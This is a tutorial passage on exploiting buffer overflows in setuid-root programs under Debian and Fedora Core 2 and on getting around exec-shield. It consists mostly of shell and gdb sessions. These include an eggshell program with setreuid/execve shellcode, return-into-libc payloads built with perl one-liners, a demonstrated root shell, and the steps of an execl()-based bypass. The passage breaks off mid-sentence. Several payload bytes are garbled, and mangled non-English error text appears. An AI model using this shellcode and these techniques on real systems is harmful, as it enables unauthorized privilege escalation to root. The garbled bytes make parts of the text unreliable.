+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ - How to Exploit Overflow Vulnerability Under Fedora Core - by vangelis(vagelis@wowhacker.org) Email: progressfree at hotmail.com ** This paper is based on beist(http://www.beist.org)'s wonderful article "One Shot Overflow Attack Under Fedora Core2"(Korean) ** Thanks to beist! ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -=[Contents]=- 1. What is Fedora Project 2. Limits of Classical and Return-into-libc Overflow Technique 3. What is exec-shield 4. A Good Hammer to Break Down 'exec-barrier' 1. What is Fedora Project? You can find what Fedora Project is in the project homepage(http://fedora.redhat.com). Read the section "What is The Fedora Project?" in the main page: The Fedora Project is a Red-Hat-sponsored and community-supported open source project. It is also a proving ground for new technology that may eventually make its way into Red Hat products. It is not a supported product of Red Hat, Inc. The goal of The Fedora Project is to work with the Linux community to build a complete, general purpose operating system exclusively from free software. Development will be done in a public forum. The project will produce time-based releases of Fedora Core about 2-3 times a year with a public release schedule.The Red Hat engineering team will continue to participate in the building of Fedora Core & will invite and encourage more outside participation than was possible in Red Hat Linux. By using this more open process, we hope to provide an operating system that uses free software development practices and is more appealing to the open source community. Now, Fedora Core 3 is available(http://fedora.redhat.com/download/#download). The one of the main changes between previous version of Red Hat Linux(for example, Red Hat 8, 9.)and Fedora Core is the supply of exec-shield(http://people.redhat.com/mingo/exec-shield). This makes it difficult for attackers to exploit overflow vulnerability under the circumtances of Fedora Core. 2. Limits of Classical and Return-into-libc Overflow Technique You can use 'classical' overflow technique to exploit the systems till Red Hat Linux 8. Red Hat Linux 9 supplied random stack policy, and some systems supply non-executable stack, but we can overcome the security policies by using the return-into-libc technique. You can find various aticles including mine(http://neworder.box.sk/newsread.php?newsid=12476) about these. I have done test mostly in Red Hat system. So, now I just attach a test in Debian Sarge system. The following technique was first used to overcome non-executable and random stack. This is just for showing a methodology. ------------------ test in Debian --------------------------------------------------------- vangelis@Sarge8:~/bof$ cat > ch.c #include #include #include #include int main() { char file_name[20]; printf("Put the file name you want to chown and chmod: "); scanf("%s",file_name); chown(file_name,0,0); chmod(file_name,04755); exit(0); } vangelis@Sarge8:~/bof$ su Password: Sarge8:/home/vangelis/bof# gcc -o ch ch.c Sarge8:/home/vangelis/bof# cat > vul.c int main(int argc, char *argv[]) { char buff[7]; strcpy(buff, argv[1]); return 0; } Sarge8:/home/vangelis/bof# gcc -o vul vul.c Sarge8:/home/vangelis/bof# ./ch Put the file name you want to chown and chmod: vul Sarge8:/home/vangelis/bof# ls -l vul -rwsr-xr-x 1 root root 11921 2004-11-05 09:04 vul Sarge8:/home/vangelis/bof# su vangelis vangelis@Sarge8:~/bof$ env TERM=vt100 SHELL=/bin/bash SSH_CLIENT=::ffff:2xx.1xx.xx.xxx 3418 22 SSH_TTY=/dev/pts/6 USER=vangelis : vangelis@Sarge8:~/bof$ export TERM="vt100;/bin/sh" vangelis@Sarge8:~/bof$ env TERM=vt100;/bin/sh SHELL=/bin/bash SSH_CLIENT=::ffff:2xx.1xx.xx.xxx 3418 22 SSH_TTY=/dev/pts/6 USER=vangelis : vangelis@Sarge8:~/bof$ gdb vul GNU gdb 6.1-debian Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x804836a (gdb) r Starting program: /home/vangelis/bof/vul Breakpoint 1, 0x0804836a in main () (gdb) x/50x $ebp 0xbffffa88: 0xbffffb14 0x4003b7f8 0x00000001 0xbffffb14 0xbffffa98: 0xbffffb1c 0x00000000 0x4015dedc 0x400164a0 0xbffffaa8: 0xbffffaa0 0x080483a0 0xbffffa90 0x4003b7b4 0xbffffab8: 0x00000000 0x00000000 0x00000000 0x40016c40 0xbffffac8: 0x00000001 0x080482a0 0x00000000 0x4000bbe0 0xbffffad8: 0x4000c290 0x40016c40 0x00000001 0x080482a0 0xbffffae8: 0x00000000 0x080482c1 0x08048364 0x00000001 0xbffffaf8: 0xbffffb14 0x080483a0 0x08048400 0x4000c290 0xbffffb08: 0xbffffb0c 0x00000000 0x00000001 0xbffffc01 0xbffffb18: 0x00000000 0xbffffc18 0xbffffc28 0xbffffc3b 0xbffffb28: 0xbffffc64 0xbffffc77 0xbffffc85 0xbffffeba 0xbffffb38: 0xbffffec6 0xbfffff00 0xbfffff18 0xbfffff24 0xbffffb48: 0xbfffff3b 0xbfffff4d (gdb) x/s 0xbffffc01 0xbffffc01: "/home/vangelis/bof/vul" (gdb) x/8wx 0xbffffb1c 0xbffffb1c: 0xbffffc18 0xbffffc28 0xbffffc3b 0xbffffc64 0xbffffb2c: 0xbffffc77 0xbffffc85 0xbffffeba 0xbffffec6 (gdb) x/s 0xbffffc18 0xbffffc18: "SHELL=/bin/bash" (gdb) disas main Dump of assembler code for function main: 0x08048364 : push %ebp 0x08048365 : mov %esp,%ebp 0x08048367 : sub $0x28,%esp 0x0804836a : and $0xfffffff0,%esp 0x0804836d : mov $0x0,%eax 0x08048372 : sub %eax,%esp 0x08048374 : mov 0xc(%ebp),%eax 0x08048377 : add $0x4,%eax 0x0804837a : mov (%eax),%eax 0x0804837c : mov %eax,0x4(%esp) 0x08048380 : lea 0xffffffe8(%ebp),%eax 0x08048383 : mov %eax,(%esp) 0x08048386 : call 0x8048288 <_init+56> 0x0804838b : mov $0x0,%eax 0x08048390 : leave 0x08048391 : ret 0x08048392 : nop 0x08048393 : nop 0x08048394 : nop 0x08048395 : nop 0x08048396 : nop 0x08048397 : nop 0x08048398 : nop 0x08048399 : nop 0x0804839a : nop 0x0804839b : nop 0x0804839c : nop 0x0804839d : nop 0x0804839e : nop 0x0804839f : nop End of assembler dump. (gdb) x/i setuid 0x400d4160 : push %ebx (gdb) x/i system 0x400668b0 : sub $0x10,%esp (gdb) q The program is running. Exit anyway? (y or n) y vangelis@Sarge8:~/bof$ ## exploit payload ## +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | data to overflow | (ret of printf) x n(dis from **env to *env[0]) | *setuid | *system | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 0xbffffa98: 0xbffffb1c 0x00000000 0x4015dedc 0x400164a0 ---------- *-- (**env) | 0xbffffaa8: | 0xbffffaa0 0x080483a0 0xbffffa90 0x4003b7b4 0xbffffab8: | 0x00000000 0x00000000 0x00000000 0x40016c40 0xbffffac8: | 0x00000001 0x080482a0 0x00000000 0x4000bbe0 0xbffffad8: | 0x4000c290 0x40016c40 0x00000001 0x080482a0 0xbffffae8: | 0x00000000 0x080482c1 0x08048364 0x00000001 0xbffffaf8: | 0xbffffb14 0x080483a0 0x08048400 0x4000c290 0xbffffb08: | 0xbffffb0c 0x00000000 0x00000001 0xbffffc01 0xbffffb18: | 0x00000000 0xbffffc18 0xbffffc28 0xbffffc3b | ---------- *-----------------> (*env[0]) (total 34) vangelis@Sarge8:~/bof$ ./vul `perl -e 'print "A"x28,"\xc9\x5a\x07\x40"x34,"\x60\x41\x0d\x40", "\xb0\x68\x06\x40"'` sh-3.00# id uid=0(root) gid=1003(vangelis) groups=1003(vangelis) sh-3.00# --------- End of Test --------------------------------------------------------------------- Now I will demonstrate the limitations of 'classical' overflow and return-into-libc technique. I use two technique in the following test. The test was performed in Fedora Core 2. I haven't have a chance to test in Fedora Core 3 yet. If there are some serious differences in Core 3, would you mail me and give an account in your 'own' Fedora Core 3 server to test? After I had finished an overflow test in Fedora Core 2 system, Fedora Core 3 was released. I don't install Fedora Core 3 due to my laziness. ------ Test by using classical overflow technique in Fedora Core 2 -------------------------- [root@testbed fedora]# cat > chogm.c #include #include #include #include int main() { char file_name[20]; printf("Put the file name you want to chown and chmod: "); scanf("%s",file_name); chown(file_name,0,0); chmod(file_name,04755); exit(0); } [root@testbed fedora]# gcc -o chogm chogm.c [root@testbed fedora]# cat > vul.c int main(int argc, char *argv[]) { char buff[7]; strcpy(buff, argv[1]); return 0; } [root@testbed fedora]# gcc -o vul vul.c [root@testbed fedora]# ./chogm Put the file name you want to chown and chmod: vul [root@testbed fedora]# ls -l vul -rwsr-xr-x 1 root root 4729 11? 1 00:41 vul [root@testbed fedora]# +++++++++++++++ Use of eggshell +++++++++++++++ [root@testbed fedora]# su vangelis [vangelis@testbed fedora]$ cat > egg.c #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; } ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } [vangelis@testbed fedora]$ gcc -o egg egg.c [vangelis@testbed fedora]$ ./egg Using address: 0xfee81c18 [vangelis@testbed fedora]$ gdb -q vul (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) disas main Dump of assembler code for function main: 0x08048370 : push %ebp 0x08048371 : mov %esp,%ebp 0x08048373 : sub $0x18,%esp // 24 bytes are needed to overwrite 0x08048376 : and $0xfffffff0,%esp 0x08048379 : mov $0x0,%eax 0x0804837e : sub %eax,%esp 0x08048380 : sub $0x8,%esp 0x08048383 : mov 0xc(%ebp),%eax 0x08048386 : add $0x4,%eax 0x08048389 : pushl (%eax) 0x0804838b : lea 0xffffffe8(%ebp),%eax 0x0804838e : push %eax 0x0804838f : call 0x80482b0 <_init+56> 0x08048394 : add $0x10,%esp 0x08048397 : mov $0x0,%eax 0x0804839c : leave 0x0804839d : ret 0x0804839e : nop 0x0804839f : nop End of assembler dump. (gdb) q [vangelis@testbed fedora]$ ./vul `perl -e 'print "\x18\xlc\xe8\xfe"x8'` ? ¸ê·¸ë©? ìì ì¤ë¥ [vangelis@testbed fedora]$ ./vul `perl -e 'print "\x18\xlc\xe8\xfe"x30'` ? ¸ê·¸ë©? ìì ì¤ë¥ [vangelis@testbed fedora]$ I failed in the test owing to the non-executable stack. ++++++++++++++++++++++++ use of return-into-libc ++++++++++++++++++++++++ [vangelis@testbed fedora]$ env HOSTNAME=testbed TERM=vt100 SHELL=/bin/bash HISTSIZE=1000 : [vangelis@testbed fedora]$ export HOSTNAME="testbed;/bin/sh" [vangelis@testbed fedora]$ env HOSTNAME=testbed;/bin/sh TERM=vt100 SHELL=/bin/bash HISTSIZE=1000 : [vangelis@testbed fedora]$ [vangelis@testbed bof]$ gdb -q vul (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x8048376 (gdb) r Starting program: /home/vangelis/bof/vul Error while mapping shared library sections: : ? ±ê³µ. Error while reading shared library symbols: : ê·¸ë?íììë ëë í ë¦¬ê° ìì. (no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols: : ê·¸ë?íììë ëë í ë¦¬ê° ìì. Error while reading shared library symbols: : ê·¸ë?íììë ëë í ë¦¬ê° ìì. Breakpoint 1, 0x08048376 in main () (gdb) x/50x $ebp 0xfeefe378: 0xfeefe3d8 0x0058cad4 0x00000001 0xfeefe404 0xfeefe388: 0xfeefe40c 0x00571f28 0x0068effc 0x00000000 0xfeefe398: 0xfeefe390 0xfeefe3d8 0xfeefe380 0x0058ca96 0xfeefe3a8: 0x00000000 0x00000000 0x00000000 0x00570fe0 0xfeefe3b8: 0x00000001 0x080482c0 0x00000000 0x00566840 0xfeefe3c8: 0x00567120 0x00570fe0 0x00000001 0x080482c0 0xfeefe3d8: 0x00000000 0x080482e1 0x08048370 0x00000001 0xfeefe3e8: 0xfeefe404 0x080483a0 0x080483e8 0x00567120 0xfeefe3f8: 0xfeefe3fc 0x0056d632 0x00000001 0xfefb4ba5 0xfeefe408: 0x00000000 0xfefb4bbc 0xfefb4be0 0xfefb4bf0 0xfeefe418: 0xfefb4bfb 0xfefb4c09 0xfefb4c32 0xfefb4c48 0xfeefe428: 0xfefb4c5d 0xfefb4c6b 0xfefb4e2e 0xfefb4e3a 0xfeefe438: 0xfefb4e45 0xfefb4e9b (gdb) x/8x 0xfeefe40c 0xfeefe40c: 0xfefb4bbc 0xfefb4be0 0xfefb4bf0 0xfefb4bfb 0xfeefe41c: 0xfefb4c09 0xfefb4c32 0xfefb4c48 0xfefb4c5d (gdb) x/s 0xfefb4bbc 0xfefb4bbc: "HOSTNAME=testbed;/bin/sh" (gdb) x/i setuid 0x5fefc0 : push %ebp (gdb) x/i system 0x5ab5e0 : push %ebp (gdb) disas printf Dump of assembler code for function printf: 0x005b92a0 : push %ebp 0x005b92a1 : mov %esp,%ebp 0x005b92a3 : sub $0x10,%esp 0x005b92a6 : mov %ebx,0xfffffffc(%ebp) 0x005b92a9 : mov 0x8(%ebp),%edx 0x005b92ac : lea 0xc(%ebp),%ecx 0x005b92af : call 0x58c90d <__i686.get_pc_thunk.bx> 0x005b92b4 : add $0xd5d48,%ebx 0x005b92ba : mov %ecx,0x8(%esp) 0x005b92be : mov 0xfffffe7c(%ebx),%ecx 0x005b92c4 : mov %edx,0x4(%esp) 0x005b92c8 : mov (%ecx),%edx 0x005b92ca : mov %edx,(%esp) 0x005b92cd : call 0x5b0620 0x005b92d2 : mov 0xfffffffc(%ebp),%ebx 0x005b92d5 : mov %ebp,%esp 0x005b92d7 : pop %ebp 0x005b92d8 : ret 0x005b92d9 : nop 0x005b92da : nop 0x005b92db : nop 0x005b92dc : nop 0x005b92dd : nop 0x005b92de : nop 0x005b92df : nop End of assembler dump. (gdb) q The program is running. Exit anyway? (y or n) y [vangelis@testbed bof]$ [vangelis@testbed fedora]$ ./vul `perl -e 'print "A"x28,"\xd8\x92\x5b"x34,"\c0\ef\x5f","\xe0\xb5\x5a"'` ? ¸ê·¸ë©? ìì ì¤ë¥ [vangelis@testbed fedora]$ ./vul "`perl -e 'print "A"x28,"\x00\xd8\x92\x5b"x34,"\x00\c0\ef\x5f", "\x00\xe0\xb5\x5a"'`" ? ¸ê·¸ë©? ìì ì¤ë¥ [vangelis@testbed fedora]$ Even though I used an advanced return-into-libc technique, I also failed in the test. --------- End of Test --------------------------------------------------------------------- Now we can find it hard to apply the calssiacl & return-into-libc technique to exploitation. This is because of the exec-shield. Let's check what exec-shield is. 3. What is exec-shield? You can understand 'what exec-shield is' by redaing "ANNOUNCE-exec-shield". You can find "ANNOUNCE-exec-shield" in "http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield". "ANNOUNCE-exec-shield" is a detailed explanation about 'exec-shield'. Let's check essential parts of "ANNOUNCE-exec-shield" for exploitation: "The exec-shield feature provides protection against stack, buffer or function pointer overflows, and against other types of exploits that rely on overwriting data structures and/or putting code into those structures. The patch also makes it harder to pass in and execute the so-called 'shell-code' of exploits. Background: ----------- It is commonly known that x86 pagetables do not support the so-called executable bit in the pagetable entries - PROT_EXEC and PROT_READ are merged into a single 'read or execute' flag. This means that even if an application marks a certain memory area non-executable(by not providing the PROT_EXEC flag upon mapping it) under x86, that area is still executable, if the area is PROT_READ. Furthermore, the x86 ELF ABI marks the process stack executable, which requires that the stack is marked executable even on CPUs that support an executable bit in the pagetables. This problem has been addressed in the past by various kernel patches, such as Solar Designer's excellent "non-exec stack patch".These patches mostly operate by using the x86 segmentation feature to set the code segment 'limit' value to a certain fixed value that points right below the stack frame. The exec-shield tries to cover as much virtual memory via the code segment limit as possible - not just the stack. Implementation: --------------- The exec-shield feature works via the kernel transparently tracking executable mappings an application specifies, and maintains a 'maximum executable address' value.This is called the 'exec-limit'.The scheduler uses the exec-limit to update the code segment descriptor upon each context-switch. Since each process (or thread) in the system can have a different exec-limit, the scheduler sets the user code segment dynamica- lly so that always the correct code-segment limit is used. : Furthermore, the kernel also remaps all PROT_EXEC mappings to the so-called ASCII-armor area, which on x86 is the addresses 0-16MB. These addresses are special because they cannot be jumped to via ASCII-based overflows. : this means that not only the stack is non-executable, but lots of mmap()-ed data areas and the malloc() heap is non-executable as well. (some data areas are still executable, but most of them are not.) the first 1MB of the ASCII-armor is left unused to provide NULL pointer dereference protection and leave space for 16-bit emulation mappings used by XFree86 and others. : Note that the kernel will relocate every shared-library to the ASCII- armor, but the binary address is determined at link-time. Limitations: ------------ This feature will not protect against every type of attack. E.g. if an overflow can be used to overwrite a local variable which changes the flow of control in a way that compromises the system.But we do believe that this feature will stop every attack that is purely operating by overflowing the return address on the stack,or overflowing a function pointer in the heap. Furthermore, exec-shield makes it quite hard to mount a successful attack even in the other cases, because it inhibits the execution of exploit shell-code, in most cases. also, if the overflow is within the exec-shield itself (e.g. within the data section of one of the shared library objects in the ASCII-armor) then the overflow might be possible to exploit. also, it is possible to jump into the first 16MB even via ASCII attacks, if the overflow string is short and the end-of-string \0 byte is used. In this case it's not possible to pass arguments to the called function though, making the attack quite hard to succeed.(But it's not impossible, if there's a function in the binary that gives a root shell if simply called, then that can be used for the attack.) All in one, exec-shield is one barrier against attacks, not blanket 100% protection in any way. The most efficient security can be provided by installing as many layers as possible. To provide as good protection as possible, there's no trampoline workaround in the exec-shield code - ie. exec-limit violations in the trampoline case are never let through. Applications that need to rely on gcc trampolines will have to use the per-binary ELF flag to make the stack executable again. (The ELF flag is the same as used by Solar Designer's non-exec stack patch, to provide as much compatibility with existing non-exec-stack installations as possible.) The exec-shield feature will uncover applications that incorrectly assumed that PROT_READ allows execution on x86." : I strongly suggest you to read the whole "ANNOUNCE-exec-shield" to understand 'exec-shield'. Now I will summarize four main points of "ANNOUNCE-exec-shield" for readers. 1) "The exec-shield feature provides protection against stack, buffer or function pointer overflows, and against other types of exploits that rely on overwriting data structures and / or putting code into those structures." So it is almost impossible for us to use shellcode for exploitation. This is because stack is non-execuatble and many map()-ed data areas and the malloc() heap is non-executable as well. You could identify this in the "Use of eggshell" section of my "Test by using classical overflow technique in Fedora Core 2". 2) Kernel remaps all PROT_EXEC mappings to the 'ASCII-armor' area, which on x86 is the addresses 0-16MB. So they cannot be jumped to via ASCII-based overflows. The first 1MB of the ASCII-armor is left unused to provide 'NULL pointer dereference protection'. And kernel relocates every shared-library to the ASCII-armor. In the classical and return- into-libc technique, we use 4 bytes address to exploit.But we can't use 4 bytes address system to overwrite stack owing to the NULL pointer dereference protection.And the more serious thing is that kernel relocates every shared-library to the ASCII-armor, so we can't use 'classical' return-into-libc. Most of case, we use the address of system() in the return-into-libc technique. Look at the following result from Fedora Core 2: (gdb) x/i setuid 0x005fefc0 : push %ebp (gdb) x/i system 0x005ab5e0 : push %ebp As you can see, NULL pointer dereference protection is applied. Look at the following mapping state of library area. [vangelis@testbed fedora]$ cat /proc/25297/maps 0055b000-00570000 r-xp 00000000 03:05 84857 /lib/ld-2.3.3.so 00570000-00571000 r--p 00014000 03:05 84857 /lib/ld-2.3.3.so 00571000-00572000 rw-p 00015000 03:05 84857 /lib/ld-2.3.3.so 00578000-0068d000 r-xp 00000000 03:05 84858 /lib/tls/libc-2.3.3.so 0068d000-0068f000 r--p 00115000 03:05 84858 /lib/tls/libc-2.3.3.so 0068f000-00691000 rw-p 00117000 03:05 84858 /lib/tls/libc-2.3.3.so 00691000-00693000 rw-p 00000000 00:00 0 006ba000-006bc000 r-xp 00000000 03:05 84860 /lib/libdl-2.3.3.so 006bc000-006bd000 r--p 00001000 03:05 84860 /lib/libdl-2.3.3.so 006bd000-006be000 rw-p 00002000 03:05 84860 /lib/libdl-2.3.3.so 008d6000-008d9000 r-xp 00000000 03:05 84874 /lib/libtermcap.so.2.0.8 008d9000-008da000 rw-p 00002000 03:05 84874 /lib/libtermcap.so.2.0.8 00bf4000-00bfe000 r-xp 00000000 03:05 80211 /lib/libnss_files-2.3.3.so 00bfe000-00bff000 r--p 00009000 03:05 80211 /lib/libnss_files-2.3.3.so 00bff000-00c00000 rw-p 0000a000 03:05 80211 /lib/libnss_files-2.3.3.so 00f4f000-00f50000 r-xp 00000000 00:00 0 08047000-080d2000 r-xp 00000000 03:05 70763 /bin/bash 080d2000-080d8000 rw-p 0008b000 03:05 70763 /bin/bash 080d8000-080dc000 rw-p 00000000 00:00 0 09a65000-09a86000 rw-p 00000000 00:00 0 f6d11000-f6d12000 rw-p 00000000 00:00 0 f6d12000-f6d18000 r--s 00000000 03:02 711249 /usr/lib/gconv/gconv-modules.cache f6d18000-f6e3f000 r--p 0187d000 03:02 697386 /usr/lib/locale/locale-archive f6e3f000-f703f000 r--p 00000000 03:02 697386 /usr/lib/locale/locale-archive f703f000-f7080000 rw-p 00000000 00:00 0 f70a3000-f70a5000 rw-p fffff000 00:00 0 feea4000-ff000000 rw-p fff65000 00:00 0 ffffd000-ffffe000 ---p 00000000 00:00 0 [vangelis@testbed fedora]$ The library area is within the ASCII-armor. 3) "If the overflow is within the exec-shield itself (e.g. within the data section of one of the shared library objects in the ASCII-armor) then the overflow might be possible to exploit." 4) The exec-shield is not an 'exec-blanket' for 100% protection but just one 'exec-barrier' against attacks. So it is worth making good hammer to break down the 'exec-barrier'. Don't you think so? Now, it's time to make a good hammer or at least a spear. 4. A Good Hammer to Break Down 'exec-barrier' Before going into the middle of the battle field, let's check the difference between the Red Hat 9.0 and Fedora Core 2. beist(http://beist.org) supplied me with the following neat table. [Memory Mapping Table] +----------+---------------------------------+--------------------------------+ | | Red HaT LINUX 9.0 | Fedora CORE2 | |----------+---------------------------------+--------------------------------+ | Library | /lib/ld-2.3.2.so | /lib/ld-2.3.3.so | | | 0x40000000 - 0x40016fff | 0x00415000 - 0x0042bfff | | | | | | | /lib/tls/libc-2.3.2.so | /lib/tls/libc-2.3.3.so | | | 0x42000000 - 0x42132fff | 0x00432000 - 0x0054afff | | | | | | | | * position of 'libc-2.3.3.so' | | | | may change. | |----------+---------------------------------+--------------------------------+ | Text | 0x8048000 - 0x8048fff | 0x8048000 - 0x8048fff | +----------+---------------------------------+--------------------------------+ | Data | 0x8049000 - 0x8049fff | 0x8049000 - 0x8049fff | +----------+---------------------------------+--------------------------------+ [Main Features] +----------------------+-----------------------+---------------------+ | | Red HaT LINUX 9.0 | Fedora CORE2 | |----------------------+-----------------------+---------------------+ | Random Stack | O | O | |----------------------+-----------------------+---------------------+ | Non-executable Stack | x | O | +----------------------+-----------------------+---------------------+ | Random Library | x | O | +----------------------+-----------------------+---------------------+ Now, let's go into the middle of battle field. As we saw, it might be possible to exploit the overflow vulnerability if we use data section. More precisly speaking, we will use some values of data segment area with execl() function. I'll open the main points right now for the readers of this articles who can't wait any more. I mean the process of exploit. And then I will explain each step. ++++++++++++++++++ Steps to exploit ++++++++++++++++++ 1) Find the address of , which is used as return address. 2) Examine the data segment area to find the arguments of execl(). 3) Examine the values of first argument of execl() to use symbolic link. 4) Make an exploit code for the sake of keeping the privilege of a process and spawning a shell. 5) Make symbolic link to the exploit with the values of first argument of execl(). 6) Make a final exploit payload as follows: +-------------------------+--------------------------------+---------------+ | data to overflow buffer | *first argument of execl() - 8 | * | +-------------------------+--------------------------------+---------------+ It might be a little difficult for you to understand the whole steps yet. But, Don't worry. You will find yourself playing with a wonderful hammer to break down the 'exec-barrier'in a few minutes. Let's make a simple vulnerable program. [vangelis@testbed fedora]$ cat > vul.c int main(int argc, char *argv[]) { char buffer[256]; strcpy(buffer,argv[1]); return 0; } [vangelis@testbed fedora]$ gcc -o vul vul.c Let's make some changes for the perfect test. [vangelis@testbed fedora]$ su Password: [root@testbed fedora]# chgrp root vul [root@testbed fedora]# chown root vul [root@testbed fedora]# chmod 4755 vul [root@testbed fedora]# ls -l vul -rwsr-xr-x 1 root root 4733 11?12 23:11 vul [root@testbed fedora]# su vangelis [vangelis@testbed fedora]$ Well.. we are ready to attack the vulnerable program. Do you remember the first step?... Good! The first step is quite easy. You can find the address of by using gdb. [vangelis@testbed fedora]$ gdb vul GNU gdb Red Hat Linux (6.0post-0.20040223.19rh) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x8048379 (gdb) r Starting program: /home/vangelis/fedora/vul Error while mapping shared library sections: : ? ±ê³µ. Error while reading shared library symbols: : ê·¸ë?íììë ëë í ë¦¬ê° ìì. (no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols: : ê·¸ë?íììë ëë í ë¦¬ê° ìì. Error while reading shared library symbols: : ê·¸ë?íììë ëë í ë¦¬ê° ìì. Breakpoint 1, 0x08048379 in main () (gdb) disas execl Dump of assembler code for function execl: 0x005fea00 : push %ebp 0x005fea01 : mov %esp,%ebp 0x005fea03 : lea 0x10(%ebp),%eax 0x005fea06 : push %edi 0x005fea07 : push %esi 0x005fea08 : push %ebx 0x005fea09 : sub $0x1030,%esp 0x005fea0f : mov 0xc(%ebp),%ecx 0x005fea12 : movl $0x400,0xfffffff0(%ebp) 0x005fea19 : lea 0x1b(%esp),%esi 0x005fea1d : and $0xfffffff0,%esi 0x005fea20 : call 0x58c90d <__i686.get_pc_thunk.bx> 0x005fea25 : add $0x905d7,%ebx 0x005fea2b : mov %ecx,(%esi) 0x005fea2d : test %ecx,%ecx 0x005fea2f : mov %eax,0xffffffe8(%ebp) 0x005fea32 : movl $0x1,0xffffffec(%ebp) 0x005fea39 : je 0x5fea73 0x005fea3b : movl $0x1a,0xffffffe0(%ebp) 0x005fea42 : lea 0x0(%esi),%esi 0x005fea49 : lea 0x0(%edi),%edi 0x005fea50 : mov 0xfffffff0(%ebp),%edx 0x005fea53 : cmp %edx,0xffffffec(%ebp) 0x005fea56 : je 0x5fea96 0x005fea58 : addl $0x8,0xffffffe0(%ebp) 0x005fea5c : mov 0xffffffe8(%ebp),%edx 0x005fea5f : mov 0xffffffec(%ebp),%edi 0x005fea62 : addl $0x4,0xffffffe8(%ebp) 0x005fea66 : mov (%edx),%ecx 0x005fea68 : mov %ecx,(%esi,%edi,4) 0x005fea6b : inc %edi 0x005fea6c : test %ecx,%ecx 0x005fea6e : mov %edi,0xffffffec(%ebp) 0x005fea71 : jne 0x5fea50 0x005fea73 : mov 0xfffffee0(%ebx),%edi 0x005fea79 : mov (%edi),%ecx 0x005fea7b : mov %esi,0x4(%esp) 0x005fea7f : mov 0x8(%ebp),%esi 0x005fea82 : mov %ecx,0x8(%esp) 0x005fea86 : mov %esi,(%esp) 0x005fea89 : call 0x5fe7a0 0x005fea8e : lea 0xfffffff4(%ebp),%esp 0x005fea91 : pop %ebx 0x005fea92 : pop %esi 0x005fea93 : pop %edi 0x005fea94 : pop %ebp 0x005fea95 : ret 0x005fea96 : mov 0xffffffec(%ebp),%edx 0x005fea99 : mov 0xffffffe0(%ebp),%ecx 0x005fea9c : add %edx,%edx 0x005fea9e : mov %edx,0xffffffe4(%ebp) 0x005feaa1 : and $0xfffffffc,%ecx 0x005feaa4 : sub %ecx,%esp 0x005feaa6 : mov %edx,0xfffffff0(%ebp) 0x005feaa9 : mov 0xffffffe4(%ebp),%eax 0x005feaac : lea 0x1b(%esp),%edx 0x005feab0 : and $0xfffffff0,%edx 0x005feab3 : lea (%eax,%edx,1),%edi 0x005feab6 : cmp %esi,%edi 0x005feab8 : je 0x5feacc 0x005feaba : cld 0x005feabb : mov 0xffffffec(%ebp),%ecx 0x005feabe : mov %edx,%edi 0x005feac0 : shl $0x2,%ecx 0x005feac3 : shr $0x2,%ecx 0x005feac6 : repz movsl %ds:(%esi),%es:(%edi) 0x005feac8 : mov %edx,%esi 0x005feaca : jmp 0x5fea58 0x005feacc : cld 0x005feacd : mov 0xffffffec(%ebp),%ecx 0x005fead0 : mov %edx,%edi 0x005fead2 : shl $0x2,%ecx 0x005fead5 : shr $0x2,%ecx 0x005fead8 : repz movsl %ds:(%esi),%es:(%edi) 0x005feada : mov %edx,%esi 0x005feadc : mov 0xffffffe4(%ebp),%edi 0x005feadf : mov 0xffffffec(%ebp),%eax 0x005feae2 : add %eax,%edi 0x005feae4 : mov %edi,0xfffffff0(%ebp) 0x005feae7 : jmp 0x5fea58 0x005feaec : nop 0x005feaed : nop 0x005feaee : nop 0x005feaef : nop End of assembler dump. (gdb) q The program is running. Exit anyway? (y or n) y [vangelis@testbed fedora]$ The reason why we don't the address of or is that the value of %ebp may be changed if "push 